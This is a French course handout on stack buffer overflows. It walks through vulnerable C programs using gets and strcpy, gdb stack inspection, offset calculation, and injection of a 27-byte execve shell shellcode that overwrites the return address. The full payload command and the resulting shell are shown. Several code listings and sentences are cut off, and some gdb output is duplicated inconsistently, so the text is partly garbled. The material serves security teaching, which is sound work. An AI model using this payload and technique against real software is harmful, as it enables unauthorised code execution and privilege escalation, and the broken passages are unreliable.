Séance 3
Séance 3
Séance 3
Les buffer overflows (ou débordements de mémoire) sont une technique qui vise à exploiter une
vulnérabilité dans la gestion de l’espace mémoire allouée à un fichier exécutable. Cette exploitation
permet d’écrire dans la RAM d’un hôte, et donc d’y injecter des instructions qui permettront d’exécuter
du code à distance (si l’exécutable est un service sur un hôte distant) ou de lancer un programme avec
des privilèges élevés (si l’exécutable a les permissions root).
Dans ce cours nous verrons comment utiliser gdb pour inspecter l’usage de la mémoire (plus
spécifiquement : de la pile) lors de l’exécution d’un programme vulnérable codé en langage C, comment
contrôler l’exécution d’un programme en manipulant les valeurs des registres et finalement comment
faire exécuter un shellcode.
Premier exemple
Sauvegardez le programme suivant dans un fichier nommé bo_1.c :
#include <signal.h>
#include <stdio.h>
#include <string.h>
int main(){
char motDePasse[10];
char valeurLue[10];
strncpy(motDePasse, "abc-123", 10);
printf("Entrez le mot de passe: ");
gets(valeurLue);
Dans ce programme, la fonction gets est vulnérable : elle lit la valeur entrée sur la ligne de commande et
l’affecte à la variable en paramètre (ici, valeurLue) mais ne vérifie pas si cette valeur respecte la taille de
la variable. Si la valeur saisie est de taille supérieure, elle dépassera la zone mémoire allouée à la
variable.
Pour créer le fichier exécutable du programme on doit le compiler avec la commande suivante :
└─$ gcc -g bo_1.c -o bo_1 -fno-stack-protector -z execstack
Pour l’exécuter :
└─$ ./bo_1
Si on entre une valeur dont la taille est supérieure à 10 (par exemple une séquence de 12 « x »), on verra
qu’elle « déborde » sur la variable motDePasse :
└─$ ./bo_1
Entrez le mot de passe: xxxxxxxxxxxx
Mauvaise reponse!
MDP: xx
Quelle taille doit avoir valeurLue pour que la valeur de motDePasse soit « xxxxxx »?
À partir de quelle taille de valeurLue les deux variables ont-elles la même valeur?
Pour analyser ce qui se passe au moment où notre programme s’exécute, on définira un point d’arrêt, ce
qui permet d’interrompre l’exécution à un endroit précis du programme afin d’inspecter les valeurs des
différentes variables qu’il contient à ce moment de son exécution. Ici, on met un point d’arrêt à la ligne
16 et ensuite on lance le programme :
(gdb) break 16
Breakpoint 1 at 0x11ed: file bo1.c, line 16.
(gdb) run
Starting program: /home/kali/bo_1
Entrez le mot de passe:
Le programme s’exécute normalement et nous demande d’entrer une valeur; ensuite il s’arrêtera à
l’endroit que nous avons défini :
Entrez le mot de passe: xxxxxxxx
Mauvaise reponse!
Ici cela correspond à 0x7fffffffe370; afin de voir le contenu de la mémoire qui précède cette adresse
(où valeurLue devrait normalement se trouver) on affiche les données à partir de 0x7fffffffe358 avec
la commande x/50bx 0x7fffffffe358. Le sens des termes de cette commande est celui-ci :
x Examiner la mémoire
50 Afficher 50 unités
b L’unité choisie est l’octet (byte)
x Afficher les données en hexadécimal
Sachant que la valeur hexadécimale de « x » est 78, on arrive à repérer l’espace occupé par notre
variable (de 0xe35c à 0xe363 inclusivement).
0 fonction1(b)
1 instruction1
2 fonction2(b)
3 instruction2
4
5 fonction2(c)
6 instruction1
7 instruction2
8
9 main
10 a=1
11 instruction1
12 fonction1(a)
13 instruction3
Le point d’entrée du programme est la fonction main. L’ordre dans lequel les différentes lignes de ce
programme seront lues (et exécutées) est le suivant :
9, 10, 11, 12, 0, 1, 2, 5, 6, 7, 3, 13
Lorsqu’une fonction est appelée (comme à la l.12), le programme sait à quel endroit se déplacer (ici, la
l.0) pour poursuivre l’exécution. Mais comment sait-il où retourner lorsque la fonction est terminée (l.3)?
En effet une fonction peut être appelée à plusieurs endroits dans un même programme, donc il peut y
avoir plus d’une possibilité.
La solution à ce problème est la pile (« stack »).
La pile est une zone particulière de la mémoire où on stocke des informations qui permettent au
programme de se repérer à travers les différents appels de fonction : chaque fois qu’on appelle une
fonction, on ajoute à la pile des informations sur cette fonction; chaque fois qu’on sort d’une fonction,
on supprime de la pile les informations qui la concernent.
Parmi ces informations on retrouve les valeurs des variables passées à la fonction, mais aussi l’adresse à
partir de laquelle la fonction a été appelée. Cette adresse est celle où le programme doit retourner
lorsque la fonction a terminé de s’exécuter.
Pour s’y retrouver, le programme a besoin de trois variables spéciales (des pointeurs) qui servent à
stocker les adresses mémoires :
Reprenons l’exemple (très simplifié) vu plus haut : notre programme occupe une zone de la mémoire
entre les adresses 0 et 13 et son point d’entrée est à l’adresse 9. La base de la pile est à l’adresse 50;
lorsqu’elle est vide, BP et SP sont égaux. À noter : l’ajout d’éléments dans la pile se fait dans le sens
décroissant des adresses mémoire.
0 fonction1(b)
1 instruction1
2 fonction2(b)
3 instruction2
4
5 fonction2(c)
6 instruction1
7 instruction2
8
9 main ...
10 a=1 47
11 instruction1 48 c(1), 3
12 fonction1(a) 49 b(1), 13
13 instruction3 50 a(1)
IP 9 10 11 12 0 1 2 5 6 7 3 13
BP 50
SP 50 49 48 49 50
Au début du programme, BP et SP contiennent la même adresse (50) et IP pointe sur l’adresse 9. Après
chaque instruction, on incrémente IP.
Au moment de l’appel de la fonction1, IP se déplace à l’adresse 0; la valeur de la variable passée à
fonction1 est affectée à b, la variable locale de fonction1, et on mémorise l’adresse de retour (13). Ces
deux informations sont ajoutées au-dessus de la pile et on déplace SP à l’adresse correspondante (49).
Lors de l’appel de fonction2, le même mécanisme est utilisé : on déplace IP à l’adresse de la fonction2
(5), on ajoute la variable locale, sa valeur et l’adresse de retour au-dessus de la pile et on déplace SP.
À la fin de l’exécution de fonction2, on déplace IP à l’adresse de retour enregistrée (3) et on déplace SP à
l’élément précédent de la pile (à l’adresse 49). Même chose à la fin de la fonction1 : on déplace IP à
l’adresse de retour enregistrée (13) et on déplace SP à l’élément précédent (50).
Dans les faits, les données ajoutées à la pile ne correspondent pas à des intervalles de 1 entre les
adresses mémoire (50, 49, 48, etc.) car la taille qu’elles occupent est variable. Par exemple, si les
données ajoutées à la pile lors de l’appel de fonction1 occupent 40 octets de données, la valeur de SP
passera de 50 à 10. On peut représenter la pile comme suit :
SP
variables Adresses
croissantes
adr. retour
BP
Exploitation
On a vu qu’il est possible d’écrire dans la mémoire lorsqu’un exécutable est vulnérable aux
débordements. Si on arrive à écrire dans la zone réservée à l’adresse de retour, il serait possible de
remplacer cette adresse par une autre adresse, et ainsi exécuter d’autres instructions que celles qui
devraient l’être.
Aussi, on souhaite que ces « autres » instructions soient notre propre code. Si l’espace réservé aux
variables (dans lequel on peut écrire) est suffisamment grand, on peut y injecter notre code.
Il faut donc :
Dans ce programme la fonction vulnérable est strcpy. Aussi, contrairement au programme précédent la
chaîne de caractères doit être passée à l’exécutable au moment de son appel, comme suit :
└─$ bo_2 xxxxxxxxxxxx
Nous allons utiliser gdb pour analyser ce programme : lancez-le, ajoutez un point d’arrêt à la ligne 8 et
exécutez le programme avec une série de « x » comme argument :
└─$ gdb bo_2
Reading symbols from bo_2...
(gdb) b 8
Breakpoint 1 at 0x1164: file bo_2.c, line 8.
(gdb) run xxxxxxxxxx
Starting program: /home/kali/bo_2 xxxxxxxxxxx
En cherchant dans les données affichées plus haut, on constate que « saved rip » (0x555555555189) est
à l’adresse 0x7fffffffe2e8 (notez que l’ordre des octets est inversé).
Pour connaître la taille de la zone mémoire dans laquelle on peut déborder AVANT d’empiéter sur
l’adresse de retour, on doit calculer la différence entre l’adresse où est stockée l’adresse de retour et
l’adresse de la variable qu’on souhaite faire déborder (« buffer ») :
0xe2e8 – 0xe270 = 0x78 (en décimal : 120)
Donc on doit passer au programme une chaîne de 120 caractères (chaque caractère occupe 1 octet). On
pourrait le faire manuellement mais on utilisera plutôt une commande python, comme suit :
(gdb) run $(python -c 'print("x" * 120)')
Starting program: /home/kali/bo_2 $(python -c 'print("x" * 120)')
Comme on le voit, l’adresse de retour (« saved rip ») a été entièrement remplacée par 0x78.
Maintenant nous savons comment exploiter un « buffer overflow » pour remplacer la valeur de l’adresse
de retour. Par quoi la remplacera-t-on?
Le seul endroit où il est possible pour nous d’insérer des données est dans la zone mémoire allouée à la
variable « buffer », et on dispose de 120 octets. Pour l’instant, nous n’y avons injecté que des « x » mais
il serait plus utile d’y mettre les instructions d’un programme. Donc, si ce code est injecté à l’adresse de
la variable « buffer », l’adresse de retour devra être remplacée par l’adresse de la variable « buffer » :
0xe200 0xe200
variables code
ATTENTION : lorsque vous relancez le programme, il est possible que les adresses changent légèrement;
or si la variable buffer change d’adresse, alors l’adresse de retour qu’on veut remplacer sera elle aussi
décalée. Il est dans ce cas nécessaire de recommencer à quelques reprises en changeant chaque fois
l’adresse de retour jusqu’à ce que celle-ci corresponde réellement à l’adresse de buffer.
Tout ce qu’il reste à faire maintenant est de remplacer la séquence de « x » par du code utile.
Injection du « shellcode »
Le programme à insérer dans la pile doit comprendre des instructions directement compréhensibles par
le processeur de l’hôte sur lequel s’exécute le programme – l’équivalent de ce que contient un fichier
binaire exécutable, traduit en valeurs hexadécimales. On appelle ce type de programme un shellcode.
Il serait possible de le coder par nous-mêmes, mais on peut aussi utiliser des ressources déjà
disponibles. Ici on utilisera un shellcode permettant d’ouvrir une invite de commande sur l’hôte
(disponible ici: http://shell-storm.org/shellcode/files/shellcode-806.php) :
"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57
\x54\x5e\xb0\x3b\x0f\x05"
Ce code contient 27 octets (qui doivent être pris parmi les 120 disponibles); on doit envoyer la séquence
suivante :
Si notre calcul est bon, on devrait voir les données du shellcode à l’adresse de la variable buffer et cette
même adresse comme adresse de retour (« saved rip »).
Finalement, pour exécuter notre shellcode, on supprime tous les points d’arrêt avec la commande clear
et on relance l’exécution :
(gdb) clear
Deleted breakpoint 1
(gdb) run $(python -c
'print("\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x5
2\x57\x54\x5e\xb0\x3b\x0f\x05" + "x" * 93 + "\xe0\xe1\xff\xff\xff\x7f\x00\x00")')
Starting program: /usr/bin/dash $(python -c
'print("\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x5
2\x57\x54\x5e\xb0\x3b\x0f\x05" + "x" * 93 + "\xe0\xe1\xff\xff\xff\x7f\x00\x00")')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/kali/bo_2 $(python -c
'print("\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x5
2\x57\x54\x5e\xb0\x3b\x0f\x05" + "x" * 93 + "\xe0\xe1\xff\xff\xff\x7f\x00\x00")')
Starting program: /usr/bin/dash $(python -c
'print("\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x5
2\x57\x54\x5e\xb0\x3b\x0f\x05" + "x" * 93 + "\xe0\xe1\xff\xff\xff\x7f\x00\x00")')
process 6807 is executing new program: /usr/bin/dash
$ whoami
[Detaching after vfork from child process 6814]
kali
$ ls
[Detaching after vfork from child process 6815]
Desktop Downloads Pictures Templates bo_1 bo_2
Documents Music Public Videos bo_1.c bo_2.c
$